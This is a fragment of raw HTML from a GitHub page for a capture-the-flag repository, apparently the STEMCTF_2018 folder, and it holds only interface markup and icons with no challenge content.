4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> Liodeus </span> <span>/</span> CTF <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/Liodeus/CTF/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":128605495,"originating_url":"https://github.com/Liodeus/CTF/tree/master/STEMCTF_2018","user_id":null}}" data-hydro-click-hmac="378777e5179718616f5eeba5e0eab62d1b2d608716452d4b5daecc59587b6160"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Liodeus/CTF/refs" cache-key="v0:1523168227.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="TGlvZGV1cy9DVEY=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Liodeus/CTF/refs" cache-key="v0:1523168227.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="TGlvZGV1cy9DVEY=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div 